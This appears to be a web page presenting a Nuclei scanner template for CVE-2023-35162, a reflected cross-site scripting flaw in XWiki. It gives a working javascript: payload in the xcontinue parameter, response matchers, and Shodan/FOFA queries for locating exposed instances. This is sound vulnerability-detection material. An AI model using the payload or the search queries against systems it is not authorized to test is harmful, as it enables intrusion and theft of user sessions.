XWiki < 14.10.5 - Cross-Site Scripting

ID: CVE-2023-35162

Severity: medium

Author: ritikchaddha

Tags: cve,cve2023,xwiki,xss

Description

XWiki Platform is vulnerable to reflected XSS via the previewactions template. An attacker can inject JavaScript through the xcontinue parameter.

YAML Source

id: CVE-2023-35162

info:
  name: XWiki < 14.10.5 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    XWiki Platform is vulnerable to reflected XSS via the previewactions template. An attacker can inject JavaScript through the xcontinue parameter.
  impact: |
    Successful exploitation could lead to unauthorized access or data theft.
  remediation: |
    Apply the latest patches provided by XWiki to mitigate the vulnerability.
  reference:
    - https://jira.xwiki.org/browse/XWIKI-20342
    - https://github.com/xwiki/xwiki-platform/blob/244dbbaa0738a0c40b19929c0369c8b62ae5236e/xwiki-platform-core/xwiki-platform-flamingo/xwiki-platform-flamingo-skin/xwiki-platform-flamingo-skin-resources/src/main/resources/flamingo/previewactions.vm#L48
    - https://nvd.nist.gov/vuln/detail/CVE-2023-35162
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-35162
    cwe-id: CWE-79
    epss-score: 0.00129
    epss-percentile: 0.47675
    cpe: cpe:2.3:a:xwiki:xwiki:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: xwiki
    product: xwiki
    shodan-query:
      - XWiki
      - xwiki
      - http.html:"data-xwiki-reference"
    fofa-query: "body=\"data-xwiki-reference\""
  tags: cve,cve2023,xwiki,xss

http:
  - method: GET
    path:
      - "{{BaseURL}}/xwiki/bin/get/FlamingoThemes/Cerulean?xpage=xpart&vm=previewactions.vm&xcontinue=javascript:alert(document.domain)"

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "name=\"xcontinue\" value=\"javascript:alert(document.domain)")'
          - 'contains(body, "previewactions.vm")'
          - 'contains(header, "text/html")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a0047304502204079c20d4e98cbeec3fb2c6395a04a21d1586b4dbf3b129f9c72459dbf9678c60221008217ca01a61d9a089ec2d0b3f623a950d8f09250e0f3eb0d8270a5f020bf552b:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-35162.yaml"

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